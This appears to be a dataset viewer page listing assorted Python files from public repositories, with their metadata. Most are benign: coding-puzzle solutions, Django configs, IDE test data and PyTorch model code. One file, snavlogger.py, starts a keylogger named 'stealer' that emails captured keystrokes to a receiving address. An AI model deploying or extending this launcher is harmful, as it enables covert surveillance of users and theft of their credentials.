xszheng2020/the_stack_dedup_python_hits_4 · Datasets at Hugging Face

cf431a514bf89a1c9ac68adebffdbadde549fe6e

230

py

Python

1701-1800/1799-Sequence summation/1799-Sequence summation.py

jiadaizhao/LintCode

a8aecc65c47a944e9debad1971a7bc6b8776e48b

[ "MIT" ]

77

2017-12-30T13:33:37.000Z

2022-01-16T23:47:08.000Z

1701-1800/1799-Sequence summation/1799-Sequence summation.py

jxhangithub/LintCode-1

a8aecc65c47a944e9debad1971a7bc6b8776e48b

[ "MIT" ]

1

2018-05-14T14:15:40.000Z

1701-1800/1799-Sequence summation/1799-Sequence summation.py

jxhangithub/LintCode-1

a8aecc65c47a944e9debad1971a7bc6b8776e48b

[ "MIT" ]

39

2017-12-07T14:36:25.000Z

2022-03-10T23:05:37.000Z

class Solution: """ @param i: @param j: @param k: @return: nothing """ def equlSum(self, i, j, k): # Write your code here return (i + j)*(j - i + 1) // 2 + (j - 1 + k) * (j - k) // 2

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cf443c14153c4633812703db6939706fb84c4378

18

py

Python

python/testData/codeInsight/smartEnter/unclosedParametersListAndTrailingEmptyLines.py

truthiswill/intellij-community

fff88cfb0dc168eea18ecb745d3e5b93f57b0b95

[ "Apache-2.0" ]

2

2019-04-28T07:48:50.000Z

2020-12-11T14:18:08.000Z

python/testData/codeInsight/smartEnter/unclosedParametersListAndTrailingEmptyLines.py

truthiswill/intellij-community

fff88cfb0dc168eea18ecb745d3e5b93f57b0b95

[ "Apache-2.0" ]

173

2018-07-05T13:59:39.000Z

2018-08-09T01:12:03.000Z

python/testData/codeInsight/smartEnter/unclosedParametersListAndTrailingEmptyLines.py

truthiswill/intellij-community

fff88cfb0dc168eea18ecb745d3e5b93f57b0b95

[ "Apache-2.0" ]

2

2020-03-15T08:57:37.000Z

2020-04-07T04:48:14.000Z

def fun<caret>c(

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4

cf83ff695de19d349be90840ff45fe52311746fe

93

py

Python

stagedoor/apps.py

galaxybrainco/django-stagedoor

f9e555e1c0ee95edee25a71947304872f1353f36

[ "Apache-2.0" ]

1

2020-05-25T22:09:40.000Z

stagedoor/apps.py

galaxybrainco/django-stagedoor

f9e555e1c0ee95edee25a71947304872f1353f36

[ "Apache-2.0" ]

null

stagedoor/apps.py

galaxybrainco/django-stagedoor

f9e555e1c0ee95edee25a71947304872f1353f36

[ "Apache-2.0" ]

null

from django.apps import AppConfig class StagedoorConfig(AppConfig): name = "stagedoor"

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d85bd7649487857211869afa0eb5a34627e4e1eb

220

py

Python

sharing_portal/tests/test_label.py

msherman64/portal

e5399ef2ed3051d7c9a46c660f028c666ae22ca6

[ "Apache-2.0" ]

3

2015-08-04T20:53:41.000Z

2020-02-14T22:58:20.000Z

sharing_portal/tests/test_label.py

msherman64/portal

e5399ef2ed3051d7c9a46c660f028c666ae22ca6

[ "Apache-2.0" ]

103

2015-01-15T14:21:00.000Z

2022-03-31T19:14:20.000Z

sharing_portal/tests/test_label.py

msherman64/portal

e5399ef2ed3051d7c9a46c660f028c666ae22ca6

[ "Apache-2.0" ]

4

2016-02-22T16:48:20.000Z

2021-01-08T17:13:21.000Z

from django.test import TestCase from ..models import Label class LabelStringTest(TestCase): def test_to_string(self): l1 = Label.objects.create(label='label1') self.assertEqual(str(l1), l1.label)

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d872262fc29cde6eb0de85ab947bb55ddd9bf444

50

py

Python

src/explode_view/__init__.py

jni/explode-view

b30d5c4cd1d7cd553d8c04f9753693af1a68383c

[ "BSD-3-Clause" ]

2

2021-11-17T08:16:11.000Z

2021-11-17T11:05:34.000Z

src/explode_view/__init__.py

jni/explode-view

b30d5c4cd1d7cd553d8c04f9753693af1a68383c

[ "BSD-3-Clause" ]

4

2021-11-01T07:19:10.000Z

2021-11-18T08:17:47.000Z

src/explode_view/__init__.py

jni/explode-view

b30d5c4cd1d7cd553d8c04f9753693af1a68383c

[ "BSD-3-Clause" ]

null

from ._explode_view import get_exploded_view_func

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4

d888dec4c4dd0698a0e097f68ce4b296b1c0dc4d

66

py

Python

secrets.py

thekip137/NBN-TwitterShadeThrower

16a5bd4a81fab8dc3cfdb172e1bc9bc0d00967e7

[ "MIT" ]

null

secrets.py

thekip137/NBN-TwitterShadeThrower

16a5bd4a81fab8dc3cfdb172e1bc9bc0d00967e7

[ "MIT" ]

null

secrets.py

thekip137/NBN-TwitterShadeThrower

16a5bd4a81fab8dc3cfdb172e1bc9bc0d00967e7

[ "MIT" ]

null

consumer_key= consumer_secret= access_token= access_token_secret=

13.2

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null

0

1

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4

d8b2f8c54e86140ad39712076df55cd0eb8bf581

83

py

Python

typepigeon/__init__.py

zacharyburnett/TypePigeon

1e0b50c24f4bf3450b34c2d5afd5c628498df7bb

[ "MIT" ]

null

typepigeon/__init__.py

zacharyburnett/TypePigeon

1e0b50c24f4bf3450b34c2d5afd5c628498df7bb

[ "MIT" ]

null

typepigeon/__init__.py

zacharyburnett/TypePigeon

1e0b50c24f4bf3450b34c2d5afd5c628498df7bb

[ "MIT" ]

null

from typepigeon.convert import convert_to_json, convert_value, guard_generic_alias

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4

d8bb8209aafdb2257a903f3b45f0e2f13dcf21a9

107

py

Python

packages/infrastructure/lib/authtest/emailReceiver.py

chessdbai/Hercules

b9edf053f45039b9560e11791b3e19a67023c3b1

[ "MIT" ]

null

packages/infrastructure/lib/authtest/emailReceiver.py

chessdbai/Hercules

b9edf053f45039b9560e11791b3e19a67023c3b1

[ "MIT" ]

null

packages/infrastructure/lib/authtest/emailReceiver.py

chessdbai/Hercules

b9edf053f45039b9560e11791b3e19a67023c3b1

[ "MIT" ]

null

import boto3 import json def handle(event, context): print('Received event:') print(json.dumps(event))

17.833333

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4

d8f136f5a11ff6849a4a940494adfc5dc64f570d

4,949

py

Python

CPP-PyTorch-Ext/YOLO_Lite_compare.py

AmirOfir/GCK3x3ConvLayer

adf6ddefb01888fb247edaa0d87e2da546781584

[ "BSD-3-Clause" ]

null

CPP-PyTorch-Ext/YOLO_Lite_compare.py

AmirOfir/GCK3x3ConvLayer

adf6ddefb01888fb247edaa0d87e2da546781584

[ "BSD-3-Clause" ]

null

CPP-PyTorch-Ext/YOLO_Lite_compare.py

AmirOfir/GCK3x3ConvLayer

adf6ddefb01888fb247edaa0d87e2da546781584

[ "BSD-3-Clause" ]

null

import sys import gc import timeit import time import numpy as np import numpy.linalg as l import torch import torch.nn as nn import torch.nn.functional as F from gck_cpu_cpp import conv_fwd_3x3 from gck_layer import GCK3x3Layer repeat_count = 100 # Compare YOLO_Lite input = torch.randn(1,3,224,224, dtype=torch.float32) YOLO_Lite_Model_Paper = nn.Sequential(#nn.ZeroPad2d((1, 1, 1, 1)), #torch.Size([1, 3, 226, 226]) nn.Conv2d(3,16,kernel_size=3, bias=False, padding=1), #torch.Size([1, 16, 224, 224]) nn.BatchNorm2d(16, momentum=0.9, eps=1e-5), #torch.Size([1, 16, 224, 224]) nn.LeakyReLU(0.1), #torch.Size([1, 16, 224, 224]) nn.MaxPool2d(kernel_size=2, stride=2, padding=int((2 - 1) // 2)), #torch.Size([1, 16, 112, 112]) #n.ZeroPad2d((1, 1, 1, 1)), #torch.Size([1, 16, 114, 114]) nn.Conv2d(16,32,kernel_size=3, bias=False, padding=1), #torch.Size([1, 32, 112, 112]) nn.BatchNorm2d(32, momentum=0.9, eps=1e-5), #torch.Size([1, 32, 112, 112]) nn.LeakyReLU(0.1), #torch.Size([1, 32, 112, 112]) nn.MaxPool2d(kernel_size=2, stride=2, padding=int((2 - 1) // 2)), #torch.Size([1, 32, 56, 56]) # nn.ZeroPad2d((1, 1, 1, 1)), #torch.Size([1, 32, 58, 58]) nn.Conv2d(32, 64, kernel_size=3, bias=False, padding=1), #torch.Size([1, 64, 56, 56]) nn.BatchNorm2d(64, momentum=0.9, eps=1e-5), #torch.Size([1, 64, 56, 56]) nn.LeakyReLU(0.1), #torch.Size([1, 64, 56, 56]) nn.MaxPool2d(kernel_size=2, stride=2, padding=int((2 - 1) // 2)), #torch.Size([1, 64, 28, 28]) # nn.ZeroPad2d((1, 1, 1, 1)), #torch.Size([1, 64, 30, 30]) nn.Conv2d(64, 128, kernel_size=3, bias=False, padding=1), #torch.Size([1, 128, 28, 28]) nn.BatchNorm2d(128, momentum=0.9, eps=1e-5), #torch.Size([1, 128, 28, 28]) nn.LeakyReLU(0.1), #torch.Size([1, 128, 28, 28]) nn.MaxPool2d(kernel_size=2, stride=2, padding=int((2 - 1) // 2)), #torch.Size([1, 128, 14, 14]) # nn.ZeroPad2d((1, 1, 1, 1)), #torch.Size([1, 128, 16, 16]) nn.Conv2d(128, 128, kernel_size=3, bias=False, padding=1), #torch.Size([1, 128, 14, 14]) nn.BatchNorm2d(128, momentum=0.9, eps=1e-5), #torch.Size([1, 128, 14, 14]) nn.LeakyReLU(0.1), #torch.Size([1, 128, 14, 14]) nn.MaxPool2d(kernel_size=2, stride=2, padding=int((2 - 1) // 2)), #torch.Size([1, 128, 7, 7]) # nn.ZeroPad2d((1, 1, 1, 1)), #torch.Size([1, 128, 9, 9]) nn.Conv2d(128, 256, kernel_size=3, bias=False, padding=1), #torch.Size([1, 256, 7, 7]) nn.BatchNorm2d(256, momentum=0.9, eps=1e-5), #torch.Size([1, 256, 7, 7]) nn.LeakyReLU(0.1), #torch.Size([1, 256, 7, 7]) nn.ZeroPad2d((1, 1, 1, 1)), nn.Conv2d(256, 125, kernel_size=1, bias=False)) YOLO_Lite_Model_Paper.eval() Our_Layer_Model = nn.Sequential(#nn.ZeroPad2d((1, 1, 1, 1)), GCK3x3Layer(3,16,kernel_size=3, bias=False, result_dim=224, padding=1), nn.BatchNorm2d(16, momentum=0.9, eps=1e-5), nn.LeakyReLU(0.1), nn.MaxPool2d(kernel_size=2, stride=2, padding=int((2 - 1) // 2)), # nn.ZeroPad2d((1, 1, 1, 1)), nn.Conv2d(16,32,kernel_size=3, bias=False, padding=1), #torch.Size([1, 32, 112, 112]) nn.BatchNorm2d(32, momentum=0.9, eps=1e-5), nn.LeakyReLU(0.1), nn.MaxPool2d(kernel_size=2, stride=2, padding=int((2 - 1) // 2)), # nn.ZeroPad2d((1, 1, 1, 1)), nn.Conv2d(32, 64, kernel_size=3, bias=False, padding=1), #torch.Size([1, 64, 56, 56]) nn.BatchNorm2d(64, momentum=0.9, eps=1e-5), nn.LeakyReLU(0.1), nn.MaxPool2d(kernel_size=2, stride=2, padding=int((2 - 1) // 2)), # nn.ZeroPad2d((1, 1, 1, 1)), GCK3x3Layer(64, 128, kernel_size=3, bias=False, result_dim=28, padding=1), nn.BatchNorm2d(128, momentum=0.9, eps=1e-5), nn.LeakyReLU(0.1), nn.MaxPool2d(kernel_size=2, stride=2, padding=int((2 - 1) // 2)), # nn.ZeroPad2d((1, 1, 1, 1)), GCK3x3Layer(128, 128, kernel_size=3, bias=False, result_dim=14, padding=1), nn.BatchNorm2d(128, momentum=0.9, eps=1e-5), nn.LeakyReLU(0.1), nn.MaxPool2d(kernel_size=2, stride=2, padding=int((2 - 1) // 2)), # nn.ZeroPad2d((1, 1, 1, 1)), GCK3x3Layer(128, 256, kernel_size=3, bias=False, result_dim=7, padding=1), nn.BatchNorm2d(256, momentum=0.9, eps=1e-5), nn.LeakyReLU(0.1), nn.ZeroPad2d((1, 1, 1, 1)), nn.Conv2d(256, 125, kernel_size=1, bias=False)) Our_Layer_Model.eval() x = YOLO_Lite_Model_Paper(input); del x def func_to_measure(): x = YOLO_Lite_Model_Paper(input) del x duration = timeit.repeat(func_to_measure, repeat=repeat_count, number=1) duration = round(np.mean(duration[1:]),4) print('YOLO_Lite_Model_Paper', duration) x = Our_Layer_Model(input); del x def func_to_measure(): x = Our_Layer_Model(input) del x duration = timeit.repeat(func_to_measure, repeat=repeat_count, number=1) duration = round(np.mean(duration[1:]),4) gc.collect() print('Our_Layer_Model', duration)

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2b2c6d15d91cb5e356cec54115308cc669c8d757

106

py

Python

wolff/accounting/admin.py

hanztura/wolff

d1fc568cd54453714f2ea61f5e99a58cc109ef65

[ "MIT" ]

2

2022-01-21T15:29:20.000Z

2022-01-21T17:42:30.000Z

wolff/accounting/admin.py

hanztura/wolff

d1fc568cd54453714f2ea61f5e99a58cc109ef65

[ "MIT" ]

null

wolff/accounting/admin.py

hanztura/wolff

d1fc568cd54453714f2ea61f5e99a58cc109ef65

[ "MIT" ]

1

2020-04-14T09:36:25.000Z

from django.contrib import admin from .models import Account, AccountType admin.site.register(Account)

15.142857

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2b591ca5ac07aacfaff481799862ee10e2fff982

105

py

Python

pyhaystack/__init__.py

lixs74/pyhaystack

e5ce87f25fd42fdc3bbeab98a1ea1c673e88cdcb

[ "Apache-2.0" ]

null

pyhaystack/__init__.py

lixs74/pyhaystack

e5ce87f25fd42fdc3bbeab98a1ea1c673e88cdcb

[ "Apache-2.0" ]

null

pyhaystack/__init__.py

lixs74/pyhaystack

e5ce87f25fd42fdc3bbeab98a1ea1c673e88cdcb

[ "Apache-2.0" ]

null

try: from hszinc import Quantity, use_pint Q_ = Quantity except ImportError: pass

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4

9939b3adcc779622cba57f9b0778a3958c4c4192

172

py

Python

8KYU/authenticate.py

yaznasivasai/python_codewars

25493591dde4649dc9c1ec3bece8191a3bed6818

[ "MIT" ]

4

2021-07-17T22:48:03.000Z

2022-03-25T14:10:58.000Z

8KYU/authenticate.py

yaznasivasai/python_codewars

25493591dde4649dc9c1ec3bece8191a3bed6818

[ "MIT" ]

null

8KYU/authenticate.py

yaznasivasai/python_codewars

25493591dde4649dc9c1ec3bece8191a3bed6818

[ "MIT" ]

3

2021-06-14T14:18:16.000Z

2022-03-16T06:02:02.000Z

class Sleigh(object): def authenticate(self, name, password): if name == 'Santa Claus' and password == 'Ho Ho Ho!': return True return False

34.4

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994f664822ebaadf8e1a7fdb4f885b4c16777792

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py

Python

testData/typeinspectionv18/dataclass.py

alek-sun/pydantic-pycharm-plugin

6b07519aadf0ff8b8a644c1f9ede88e09c687c80

[ "Apache-2.0", "MIT" ]

238

2019-08-05T12:46:09.000Z

2022-03-25T08:53:25.000Z

testData/typeinspectionv18/dataclass.py

alek-sun/pydantic-pycharm-plugin

6b07519aadf0ff8b8a644c1f9ede88e09c687c80

[ "Apache-2.0", "MIT" ]

415

2019-07-15T17:39:35.000Z

2022-03-31T01:18:38.000Z

testData/typeinspectionv18/dataclass.py

collerek/pydantic-pycharm-plugin

7068ece42334cc9fbe927d779d199c86d5139888

[ "Apache-2.0", "MIT" ]

7

2019-08-09T01:03:16.000Z

2022-02-08T03:28:19.000Z

from typing import * import pydantic @pydantic.dataclasses.dataclass class MyDataclass: a: str b: int def func_a(self) -> str: return self.a def func_b(self) -> int: return self.b def func_c(self) -> int: return <warning descr="Expected type 'int', got 'str' instead">self.a</warning> def func_d(self) -> str: return <warning descr="Expected type 'str', got 'int' instead">self.b</warning> @pydantic.dataclasses.dataclass class ChildDataclass(MyDataclass): c: str d: int MyDataclass(a='apple', b=1) MyDataclass(<warning descr="Expected type 'str', got 'int' instead">a=2</warning>, <warning descr="Expected type 'int', got 'str' instead">b='orange'</warning>) ChildDataclass(a='apple', b=1, c='berry', d=3) ChildDataclass(<warning descr="Expected type 'str', got 'int' instead">a=2</warning>, <warning descr="Expected type 'int', got 'str' instead">b='orange'</warning>, <warning descr="Expected type 'str', got 'int' instead">c=4</warning>, <warning descr="Expected type 'int', got 'str' instead">d='cherry'</warning>) a: MyDataclass = MyDataclass() b: Type[MyDataclass] = MyDataclass c: MyDataclass = <warning descr="Expected type 'MyDataclass', got 'Type[MyDataclass]' instead">MyDataclass</warning> d: Type[MyDataclass] = <warning descr="Expected type 'Type[MyDataclass]', got 'MyDataclass' instead">MyDataclass()</warning> aa: Union[str, MyDataclass] = MyDataclass() bb: Union[str, Type[MyDataclass]] = MyDataclass cc: Union[str, MyDataclass] = <warning descr="Expected type 'Union[str, MyDataclass]', got 'Type[MyDataclass]' instead">MyDataclass</warning> dd: Union[str, Type[MyDataclass]] = <warning descr="Expected type 'Union[str, Type[MyDataclass]]', got 'MyDataclass' instead">MyDataclass()</warning> aaa: ChildDataclass = ChildDataclass() bbb: Type[ChildDataclass] = ChildDataclass ccc: ChildDataclass = <warning descr="Expected type 'ChildDataclass', got 'Type[ChildDataclass]' instead">ChildDataclass</warning> ddd: Type[ChildDataclass] = <warning descr="Expected type 'Type[ChildDataclass]', got 'ChildDataclass' instead">ChildDataclass()</warning> e: str = MyDataclass(a='apple', b=1).a f: int = MyDataclass(a='apple', b=1).b g: int = <warning descr="Expected type 'int', got 'str' instead">MyDataclass(a='apple', b=1).a</warning> h: str = <warning descr="Expected type 'str', got 'int' instead">MyDataclass(a='apple', b=1).b</warning> ee: str = ChildDataclass(a='apple', b=1, c='orange', d=2).a ff: int = ChildDataclass(a='apple', b=1, c='orange', d=2).d gg: int = <warning descr="Expected type 'int', got 'str' instead">ChildDataclass(a='apple', b=1, c='orange', d=2).a</warning> hh: str = <warning descr="Expected type 'str', got 'int' instead">ChildDataclass(a='apple', b=1, c='orange', d=2).d</warning> i: MyDataclass = MyDataclass(a='apple', b=1) j: str = i.a k: int = i.b l: int = <warning descr="Expected type 'int', got 'str' instead">i.a</warning> m: str = <warning descr="Expected type 'str', got 'int' instead">i.b</warning> ii: ChildDataclass = ChildDataclass(a='apple', b=1, c='orange', d=2) jj: str = i.a kk: int = i.d ll: int = <warning descr="Expected type 'int', got 'str' instead">ii.a</warning> mm: str = <warning descr="Expected type 'str', got 'int' instead">ii.d</warning> def my_fn_1() -> MyDataclass: return MyDataclass() def my_fn_2() -> Type[MyDataclass]: return MyDataclass def my_fn_3() -> MyDataclass: return <warning descr="Expected type 'MyDataclass', got 'Type[MyDataclass]' instead">MyDataclass</warning> def my_fn_4() -> Type[MyDataclass]: return <warning descr="Expected type 'Type[MyDataclass]', got 'MyDataclass' instead">MyDataclass()</warning> def my_fn_5() -> Union[str, MyDataclass]: return MyDataclass() def my_fn_6() -> Type[str, MyDataclass]: return MyDataclass def my_fn_7() -> Union[str, MyDataclass]: return <warning descr="Expected type 'Union[str, MyDataclass]', got 'Type[MyDataclass]' instead">MyDataclass</warning> def my_fn_8() -> Union[str, Type[MyDataclass]]: return <warning descr="Expected type 'Union[str, Type[MyDataclass]]', got 'MyDataclass' instead">MyDataclass()</warning> def my_fn_9() -> ChildDataclass: return ChildDataclass() def my_fn_10() -> Type[ChildDataclass]: return ChildDataclass def my_fn_11() -> ChildDataclass: return <warning descr="Expected type 'ChildDataclass', got 'Type[ChildDataclass]' instead">ChildDataclass</warning> def my_fn_12() -> Type[ChildDataclass]: return <warning descr="Expected type 'Type[ChildDataclass]', got 'ChildDataclass' instead">ChildDataclass()</warning> def my_fn_13() -> Union[str, ChildDataclass]: return ChildDataclass() def my_fn_14() -> Type[str, ChildDataclass]: return ChildDataclass def my_fn_7() -> Union[str, ChildDataclass]: return <warning descr="Expected type 'Union[str, ChildDataclass]', got 'Type[ChildDataclass]' instead">ChildDataclass</warning> def my_fn_8() -> Union[str, Type[ChildDataclass]]: return <warning descr="Expected type 'Union[str, Type[ChildDataclass]]', got 'ChildDataclass' instead">ChildDataclass()</warning>

40.171875

312

0.704395

694

5,142

5.167147

0.103746

0.10039

0.167317

0.200781

0.808422

0.78193

0.683212

0.60039

0.520078

0.406302

0

0.009373

0.128549

5,142

127

313

40.488189

0.790895

0

0.119048

0

0.324582

0.026254

0

null

0

0.02381

null

0

null

0

1

0

null

0

1

0

4

9950362abd37603d3c0078756bf70e8642f0be4d

306

py

Python

conf/signature.py

uktrade/sso

f4fb527cfe12955c079251031261f2407956bad3

[ "MIT" ]

1

2017-06-02T09:09:02.000Z

conf/signature.py

uktrade/sso

f4fb527cfe12955c079251031261f2407956bad3

[ "MIT" ]

372

2016-10-25T17:10:18.000Z

2022-03-30T14:53:55.000Z

conf/signature.py

uktrade/sso

f4fb527cfe12955c079251031261f2407956bad3

[ "MIT" ]

3

2016-11-10T17:13:39.000Z

2019-12-06T16:54:46.000Z

from django.conf import settings from sigauth import middleware, permissions class SignatureCheckMiddleware(middleware.SignatureCheckMiddlewareBase): secret = settings.SIGNATURE_SECRET class SignatureCheckPermission(permissions.SignatureCheckPermissionBase): secret = settings.SIGNATURE_SECRET

27.818182

73

0.852941

26

306

9.961538

0.576923

0.108108

0.177606

0.223938

0

0.101307

306

10

74

30.6

0.941818

0

0.333333

0

1

0

false

0

0.333333

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

4

9951166ebba8ffe66b328faffb8df633dd700aeb

178

py

Python

recipes/site_listers/theclevercarrot.py

cfeenstra67/recipes

a2d296500b4ff70e11ff3177a1092a033498f82a

[ "MIT" ]

null

recipes/site_listers/theclevercarrot.py

cfeenstra67/recipes

a2d296500b4ff70e11ff3177a1092a033498f82a

[ "MIT" ]

null

recipes/site_listers/theclevercarrot.py

cfeenstra67/recipes

a2d296500b4ff70e11ff3177a1092a033498f82a

[ "MIT" ]

null

from recipes.site_listers.base import SitemapLister class TheCleverCarrotLister(SitemapLister): """ """ start_url = "https://www.theclevercarrot.com/post-sitemap.xml"

22.25

66

0.752809

19

178

6.947368

0.947368

0

0.123596

178

7

67

25.428571

0.846154

0

0.280702

0

1

0

false

0

0.333333

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

4

996648fbfecfc2d88b1df4a1f34bb13531f78399

130

py

Python

snavlogger.py

Snavellet/snavlogger

c438fa7827471f54ee7017996667495e39f7bea8

[ "MIT" ]

2

2019-11-17T08:36:45.000Z

2020-02-06T14:27:12.000Z

snavlogger.py

Snavellet/snavlogger

c438fa7827471f54ee7017996667495e39f7bea8

[ "MIT" ]

null

snavlogger.py

Snavellet/snavlogger

c438fa7827471f54ee7017996667495e39f7bea8

[ "MIT" ]

null

from keylogger import Keylogger stealer = Keylogger(120, 'EMAIL_FOR_SENDING', 'PASSWORD', 'EMAIL_FOR_RECEIVING') stealer.start()

26

80

0.792308

16

130

6.1875

0.6875

0.161616

0

0.025424

0.092308

130

4

81

32.5

0.813559

0

0.338462

0

1

0

false

0.333333

0

0.333333

0

1

0

null

0

1

0

null

0

1

0

4

997edc66dce3e953b71aecc906c0cbe5c9d2d561

188

py

Python

tests/execution/test_module.py

asyncee/pycamunda

f4834d224ff99fcf80874efeaedf68a8a2efa926

[ "MIT" ]

null

tests/execution/test_module.py

asyncee/pycamunda

f4834d224ff99fcf80874efeaedf68a8a2efa926

[ "MIT" ]

null

tests/execution/test_module.py

asyncee/pycamunda

f4834d224ff99fcf80874efeaedf68a8a2efa926

[ "MIT" ]

null

# -*- coding: utf-8 -*- def test_all_contains_only_valid_names(): import pycamunda.execution for name in pycamunda.execution.__all__: getattr(pycamunda.execution, name)

20.888889

44

0.712766

23

188

5.434783

0.73913

0.432

0

0.006494

0.180851

188

8

45

23.5

0.805195

0.111702

0

1

0.25

false

0

0.25

0

0.5

0

1

0

null

1

0

1

0

null

0

1

0

4

5a9fcb627fcb48f373447672a974b3e0db258ebb

83

py

Python

zone/apps.py

zizoubrown/Hood

2cd23bb3cde799d97032d181a399d5163db033ec

[ "Unlicense" ]

null

zone/apps.py

zizoubrown/Hood

2cd23bb3cde799d97032d181a399d5163db033ec

[ "Unlicense" ]

null

zone/apps.py

zizoubrown/Hood

2cd23bb3cde799d97032d181a399d5163db033ec

[ "Unlicense" ]

2

2018-12-16T15:39:04.000Z

2018-12-17T15:03:01.000Z

from django.apps import AppConfig class ZoneConfig(AppConfig): name = 'zone'

13.833333

33

0.73494

10

83

6.1

0.9

0

0.180723

83

5

34

16.6

0.897059

0

0.048193

0

1

0

false

0

0.333333

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

4

5aa7ee22a367ed96c379602cf9552f2b3f0b1793

239

py

Python

python/leap/Year.py

SamuelDoud/exercism

ced482a46cc113f09f99446c98bc10c140e8c9c4

[ "MIT" ]

null

python/leap/Year.py

SamuelDoud/exercism

ced482a46cc113f09f99446c98bc10c140e8c9c4

[ "MIT" ]

null

python/leap/Year.py

SamuelDoud/exercism

ced482a46cc113f09f99446c98bc10c140e8c9c4

[ "MIT" ]

null

#checks if a year passed is a leap year #all years diisible by 400 are leap years #then all years divisible by 4 but not by 100 are also leap years def is_leap_year(year): return year % 400 == 0 or (year % 4 == 0 and year % 100 != 0)

34.142857

65

0.694561

48

239

3.416667

0.520833

0.097561

0

0.092896

0.23431

239

7

66

34.142857

0.803279

0.594142

0

1

0.5

false

0

0.5

1

0

null

0

1

0

null

0

1

0

1

0

4

5ac663a410f7d1d96f98a438a942879d2c635bad

382

py

Python

apsuite/optics_analysis/__init__.py

carneirofc/apsuite

1bbaa44ec6b89f50201790d6fab05c32729db6e1

[ "MIT" ]

1

2016-02-25T01:48:49.000Z

apsuite/optics_analysis/__init__.py

carneirofc/apsuite

1bbaa44ec6b89f50201790d6fab05c32729db6e1

[ "MIT" ]

12

2015-09-25T12:46:41.000Z

2022-03-22T12:04:03.000Z

apsuite/optics_analysis/__init__.py

carneirofc/apsuite

1bbaa44ec6b89f50201790d6fab05c32729db6e1

[ "MIT" ]

2

2022-02-08T13:12:26.000Z

2022-03-15T17:38:11.000Z

""".""" from .chromaticity_correction import ChromCorr from .coupling_correction import CouplingCorr from .optics_correction import OpticsCorr from .tune_correction import TuneCorr del chromaticity_correction, coupling_correction, optics_correction del tune_correction __all__ = ( 'chromaticity_correction', 'coupling_correction', 'optics_correction', 'tune_correction')

27.285714

74

0.82199

39

382

7.641026

0.333333

0.214765

0.201342

0.268456

0.375839

0

0.10733

382

13

75

29.384615

0.8739

0.002618

0

0.197333

0.061333

0

1

0

false

0

0.444444

0

0.444444

0

null

1

0

null

0

1

0

4

5aca3f4954968a41c5a90d2a9964161431b139c9

15,985

py

Python

nn.py

elvisyjlin/eval-gans

ac1451c7d37fa81f0a036bba54b090965c0187f0

[ "MIT" ]

null

nn.py

elvisyjlin/eval-gans

ac1451c7d37fa81f0a036bba54b090965c0187f0

[ "MIT" ]

null

nn.py

elvisyjlin/eval-gans

ac1451c7d37fa81f0a036bba54b090965c0187f0

[ "MIT" ]

null

import torch import torch.autograd as autograd import torch.optim as optim import torch.nn as nn import torch.nn.functional as F from torchsummary import summary def clip_weights(net, value=0.01): for p in net.parameters(): p.data.clamp_(-value, value) def gradient_penalty(f, device, real, fake=None): def interpolate(a, b=None): if type(b) is str and b == 'dragan': # interpolation in DRAGAN b = a + 0.5 * a.std() * torch.rand_like(a).to(device) if type(b) is str and b == 'lsgan-gp': # interpolation in LSGAN-GP (improved LSGAN) b = a + 30 * torch.rand_like(a).to(device) alpha = torch.rand(a.size(0), 1, 1, 1).to(device) inter = a + alpha * (b - a) return inter x = interpolate(real, fake).requires_grad_(True) pred = f(x) if isinstance(pred, tuple): pred = pred[0] grad = autograd.grad( outputs=pred, inputs=x, grad_outputs=torch.ones_like(pred), create_graph=True, retain_graph=True, only_inputs=True )[0] grad = grad.view(grad.size(0), -1) norm = grad.norm(2, dim=1) gp = ((norm - 1.0) ** 2).mean() return gp class Generator_32(nn.Module): def __init__(self): super(Generator_32, self).__init__() self.layers = nn.Sequential( nn.ConvTranspose2d(100, 256, 4, 1, bias=False), nn.BatchNorm2d(256), nn.ReLU(inplace=True), nn.ConvTranspose2d(256, 128, 4, 2, padding=1, bias=False), nn.BatchNorm2d(128), nn.ReLU(inplace=True), nn.ConvTranspose2d(128, 64, 4, 2, padding=1, bias=False), nn.BatchNorm2d(64), nn.ReLU(inplace=True), nn.ConvTranspose2d(64, 64, 3, 1, padding=1, bias=False), nn.BatchNorm2d(64), nn.ReLU(inplace=True), nn.ConvTranspose2d(64, 3, 4, 2, padding=1, bias=False), nn.Tanh(), ) def forward(self, z): z = z.view(z.size(0), z.size(1), 1, 1) return self.layers(z) class Discriminator_32(nn.Module): def __init__(self): super(Discriminator_32, self).__init__() self.layers = nn.Sequential( nn.Conv2d(3, 64, 4, 2, padding=1, bias=False), nn.BatchNorm2d(64), nn.LeakyReLU(0.2, inplace=True), nn.Conv2d(64, 64, 3, 1, padding=1, bias=False), nn.BatchNorm2d(64), nn.LeakyReLU(0.2, inplace=True), nn.Conv2d(64, 128, 4, 2, padding=1, bias=False), nn.BatchNorm2d(128), nn.LeakyReLU(0.2, inplace=True), nn.Conv2d(128, 256, 4, 2, padding=1, bias=False), nn.BatchNorm2d(256), nn.LeakyReLU(0.2, inplace=True), nn.Conv2d(256, 1, 4, 1, bias=False), ) def forward(self, x): return self.layers(x).view(-1, ) class Generator_64(nn.Module): def __init__(self): super(Generator_64, self).__init__() self.layers = nn.Sequential( nn.ConvTranspose2d(100, 512, 4, 1, bias=False), nn.BatchNorm2d(512), nn.ReLU(inplace=True), nn.ConvTranspose2d(512, 256, 4, 2, padding=1, bias=False), nn.BatchNorm2d(256), nn.ReLU(inplace=True), nn.ConvTranspose2d(256, 128, 4, 2, padding=1, bias=False), nn.BatchNorm2d(128), nn.ReLU(inplace=True), nn.ConvTranspose2d(128, 64, 4, 2, padding=1, bias=False), nn.BatchNorm2d(64), nn.ReLU(inplace=True), nn.ConvTranspose2d(64, 64, 3, 1, padding=1, bias=False), nn.BatchNorm2d(64), nn.ReLU(inplace=True), nn.ConvTranspose2d(64, 3, 4, 2, padding=1, bias=False), nn.Tanh(), ) def forward(self, z): z = z.view(z.size(0), z.size(1), 1, 1) return self.layers(z) class Discriminator_64(nn.Module): def __init__(self): super(Discriminator_64, self).__init__() self.layers = nn.Sequential( nn.Conv2d(3, 64, 4, 2, padding=1, bias=False), nn.BatchNorm2d(64), nn.LeakyReLU(0.2, inplace=True), nn.Conv2d(64, 64, 3, 1, padding=1, bias=False), nn.BatchNorm2d(64), nn.LeakyReLU(0.2, inplace=True), nn.Conv2d(64, 128, 4, 2, padding=1, bias=False), nn.BatchNorm2d(128), nn.LeakyReLU(0.2, inplace=True), nn.Conv2d(128, 256, 4, 2, 